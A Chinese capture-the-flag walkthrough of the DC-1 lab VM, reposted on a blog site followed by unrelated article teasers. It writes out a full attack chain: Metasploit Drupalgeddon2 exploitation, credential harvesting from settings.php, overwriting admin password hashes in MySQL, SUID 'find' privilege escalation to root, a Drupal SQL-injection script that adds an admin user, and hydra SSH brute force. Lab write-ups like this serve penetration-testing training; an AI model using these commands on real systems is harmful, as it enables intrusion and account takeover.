DC-1靶场

一.环境搭建

下载地址

http://www.five86.com/downloads/DC-1.zip

把桥接设置为nat模式,打开靶机的时候会提示几个错误,点击重试即可

启动靶机,如下图所示即可

二.开始打靶 

1.信息收集

arp-scan -l

扫描跟kali(攻击机) 同一网段开了哪些ip,也就是发现靶机ip

我的攻击机ip为192.168.111.128,靶机ip为192.168.111.129

用nmap扫一下靶机开放的端口

nmap 192.168.111.129 -p1-65535 

 开放了22/80/111/60677

我们先访问一下80端口,看一下是什么

也可以用以下工具得知是drupal cms

whatweb -v 192.168.111.129

根据以上操作,我们可以搜集到如下信息

端口号22/80/111/60677

drupal cms 7

PHP 5.4.45

Apache 2.2.22

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

一搜发现这么多漏洞,进msf搜一下drupal,直接百度也行,一般这种nday都有大佬发教程

 

 2.漏洞探测与利用

打开msf,搜索drupal

msfconsolesearch drupal

 选择exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

查看需要配置的内容

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set

set rhosts 192.168.111.129
run

进行运行

 3.getshell

得到shell,输入shell

shell

弄一个交互式的shell,用python起一个(必须靶机安装了python环境才行)

python -c 'import pty; pty.spawn("/bin/bash")'

 

查看flag1.txt,发现提示,每个好的cms都需要一个配置文件,你也一样

4.数据库渗透

开始找配置文件

cat `find / -name settings.php`

我们获取到了他的数据库账号密码和flag2

 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
暴力破解和目录攻击不是唯一获取权限的方法(你需要权限),你能用这些凭证做些什么呢

使用配置文件中的数据库账号密码进行登录 

查看有哪些库

show databases;

使用drupaldb库并且查看表

use drupaldb;show tables;

下面有一个users表,进入这个表进行查看

select * from users;
select * from users\G;

 也可以使用下面这条命令,/G 的作用是将查到的结构旋转90度变成纵向(我没试)

获得两个用户

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |  

 看这么复杂,而且在配置文件中找到slat也很长,撞库基本上不可能实现,所以用替换密码的方式获得用户登录权限,将一个已知的密码通过cms的算法加密后生成的hash,替换掉已存在用户的密码hash,就算是修改密码了

忘记Drupal的管理员密码的解决办法

方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。

方法二:这是drupal提供的最原生的方法

在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:

php scripts/password-hash.sh admin

输出:

password: admin                 hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA

然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

 durpal的加密脚本存在此地址

/var/www/scripts/password-hash.sh

先退出mysql界面

exit;

 打开加密脚本,查看里面的内容

cat /var/www/scripts/password-hash.sh

 脚本是php代码,要求我们输入一个密码,它会返回一个加密后的hash

用php运行这个脚本,输出123456的hash 

php /var/www/scripts/password-hash.sh 123456

password: 123456 		hash: $S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu

登录到mysql后,将这个hash替换到admin账户的密码

mysql -udbuser -pR0ck3tuse drupaldb;update users set pass = "$S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu" where name = 'admin' or name = 'Fred';

 

 进入界面,输入账号密码admin/123456

点击这个content,会有一个flag3 

点击这个flag3,会给你提示 

 特殊权限会帮助你找到密码,但是你需要-exec(执行)命令去确定如何获得这个shadow(菜鸡翻译,敬请见谅)

 根据提示,我们输出一下passwd的内容

cat /etc/passwd

我们可以看到有一个flag4在这

切换到flag4的/home/flag4目录 ,查看有什么文件

cd /home/flag4
ls

你能用同样的方法去找到或者访问在root的flag吗

大概。 但是也许这并不容易。 也许是?

5.提权

现在要开始提升权限了

利用suid提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

看到有find,直接用find提权

find / -exec "/bin/bash" -p \;
cd /root
ls

 

获取到root权限后,直接cd 到/root目录,看到最终的flag

cat thefinalflag.txt

 

 这个靶机还是非常简单的,按照其他大佬的wp打下来十分顺畅

三.其他方法

为什么这么写,是因为我想有个流畅的打靶体验,先通关再说

1.在数据库渗透的过程中,通过sql注入漏洞创建用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

 

searchsploit 34992.py -p

 

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py

 这个软件给出了usage,可以进行尝试

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.111.129 -u test -p 123456

进入界面用test/123456进行登录,登录成功 

2.在查看flag4的时候可以不用提权,爆破flag4用户的ssh密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.129

 爆破到flag4的ssh密码为orange,进行连接,查看文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/282536.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL基础(DDL,DML,DQL)

目录 一DDL 1.1数据库操作 1.1.1查询所有数据库: 1.1.2创建数据库 1.1.3 使用数据库 1.1.4 删除数据库 1.2表操作 1.2.1表操作 1.2.1.1创建表 1.2.1.1.1约束 1.2.1.1.2 数据类型 1.2.1.1.2.1 数值类型 1.2.1.1.2.2 字符串类型 1.2.1.1.2.3日期类型 1.…

Linux:执行命令的命令eval与Bash解析命令的方式

相关阅读 Linuxhttps://blog.csdn.net/weixin_45791458/category_12234591.html?spm1001.2014.3001.5482 eval命令用于接收参数,并将这些参数作为一行命令执行,这也许会使人困惑,为什么我不能直接执行命令而需要使用eval命令间接执行呢&…

【应用笔记】LAT1305+使用STM32+TT类型IO的注意事项

1. 概述 在 STM32 系列 MCU 中, 除了一些特殊管脚外,绝大多数管脚都可以分类为 FT (兼容5V 信号)或 TT(兼容 3V3 信号)类型的 IO,由于 MCU 内部设计的不同, TT IO 相比 5V IO 有更多的限制,下面…

【回溯专题part1】【蓝桥杯备考训练】:n-皇后问题、木棒、飞机降落【已更新完成】

目录 1、n-皇后问题(回溯模板) 2、木棒(《算法竞赛进阶指南》、UVA307) 3、飞机降落(第十四届蓝桥杯省赛C B组) 1、n-皇后问题(回溯模板) n皇后问题是指将 n 个皇后放在 nn 的国…

MySQL数据库索引

目录 一.索引的基本内容 1.索引的定义 2.索引的作用 (1)设置了合适的索引之后,数据库利用各种快速定位技术,能够大大加快查询速度,这是创建索引的最主要的原因。 (2)当表很大或查询涉及到多…

鸿蒙一次开发,多端部署(四)工程管理

DevEco Studio的基本使用,请参考DevEco Studio使用指南。本章主要介绍如何使用DevEco Studio进行多设备应用开发。 说明: 本章的内容基于DevEco Studio 3.1.1 Release版本进行介绍,如您使用DevEco Studio其它版本,可能存在文档与产…

python --- 练习题3

目录 1、猜数字游戏(使用random模块完成) :继上期题目,附加 2、用户登录注册案例 3、求50~150之间的质数是那些? 4、打印输出标准水仙花数,输出这些水仙花数 5、验证:任意一个大于9的整数减去它的各位…

行业模板|DataEase制造行业大屏模板推荐

DataEase开源数据可视化分析平台于2022年6月发布模板市场(https://templates-de.fit2cloud.com),并于2024年1月新增适用于DataEase v2版本的模板分类。模板市场旨在为DataEase用户提供专业、美观、拿来即用的大屏模板,方便用户根据…

机器学习_正则化

文章目录 代价函数 如果我们有非常多的特征,我们通过学习得到的假设可能能够非常好地适应训练集(代价函数可能几乎为 0),但是可能会不能推广到新的数据。 下图是一个回归问题的例子: 第一个模型是一个线性模型&#xf…

思科网络中DHCP协议的配置

一、什么是DHCP?DHCP有什么作用? (1)DHCP(Dynamic Host Configuration Protocol)是一种网络协议,用于在局域网中自动分配IP地址和其他网络配置信息给计算机设备。我们电脑连接WiFi的时一般就是…

鸿蒙一次开发,多端部署(三)应用UX设计原则

设计原则 当为多种不同的设备开发应用时,有如下设计原则: 差异性 充分了解所要支持的设备,包括屏幕尺寸、交互方式、使用场景、用户人群等,对设备的特性进行针对性的设计。 一致性 除了要考虑每个设备的特性外,还…

VMD + CEEMDAN 二次分解,CNN-Transformer预测模型

往期精彩内容: 时序预测:LSTM、ARIMA、Holt-Winters、SARIMA模型的分析与比较-CSDN博客 风速预测(一)数据集介绍和预处理-CSDN博客 风速预测(二)基于Pytorch的EMD-LSTM模型-CSDN博客 风速预测&#xff…

【Excel自动化办公】使用openpyxl对Excel进行读写操作

目录 一、环境安装 1.1 创建python项目 1.2 安装openpyxl依赖 二、Excel数据读取操作 三、Excel数据写入操作 3.1 创建空白工作簿 3.2 写数据 四、设置单元格样式 4.1 字体样式 4.2 设置单元格背景填充色 4.3 设置单元格边框样式 4.4 单元格对齐方式 4.5 数据筛选…

Manga image Translator: 一键翻译各类图片内文字支持多种语言开源AI工具

项目地址:GitHub - zyddnys/manga-image-translator: Translate manga/image 一键翻译各类图片内文字 https://cotrans.touhou.ai/ 官方演示: https://touhou.ai/imgtrans/ 夸克网盘文件包下载链接:夸克网盘分享提取码:22G3 文…

基于高斯模型的运动目标检测(车辆检测),Matlab实现

博主简介: 专注、专一于Matlab图像处理学习、交流,matlab图像代码代做/项目合作可以联系(QQ:3249726188) 个人主页:Matlab_ImagePro-CSDN博客 原则:代码均由本人编写完成,非中介,提供…

数值分析(三) Lagrange(拉格朗日)插值法及Matlab代码实现

目录 前言一、Lagrange(拉格朗日)插值1. 线性插值2. 抛物插值3. 拉格朗日插值多项式 二、Lagrange插值算法及matlab代码1. Lagrange 插值算法matlab实现2 实例3. 线性插值示意图代码4. 抛物插值示意图代码 三、总结四、插值法专栏 前言 本篇为插值法专栏…

Linux学习之自定义协议

前言: 首先对于Tcp的socket的通信,我们已经大概了解了,但是其中其实是由一个小问题,我们目前是不得而知得,在我们客户端与服务端连接成功后,服务端读取来自客户端得消息,我们使用的是函数read,…

高通 8255 基本通信(QUP)Android侧控制方法说明

一:整体说明 高通8255芯片中,SPI IIC UART核心统一由QUP V3 进行控制 QUP V3为可编程模块,可以将不同通道配置为SPI IIC UART通路,此部分配置在QNX侧 QUP 资源可以直接被QNX使用,Android侧可以通过两种方法使用QUP资源…

YOLOv5-Y5周:yolo.py文件解读

本文为🔗365天深度学习训练营 中的学习记录博客 原作者:K同学啊|接辅导、项目定制 我的环境: 1.语言:python3.7 2.编译器:pycharm 3.深度学习框架Tensorflow/Pytorch 1.8.0cu111 一、代码解读 import argparse i…

idea将非UTF-8的properties修改为UTF-8编码的文件

需求背景 由于项目初始化时,properties文件的编码格式为ASCII编码格式,此时用idea打开该文件会默认展示UTF-8的编码内容,其中汉字可以正常展示,但是使用notepad打开却依旧时ASCII编码格式 idea配置 打开idea-setting-editor-f…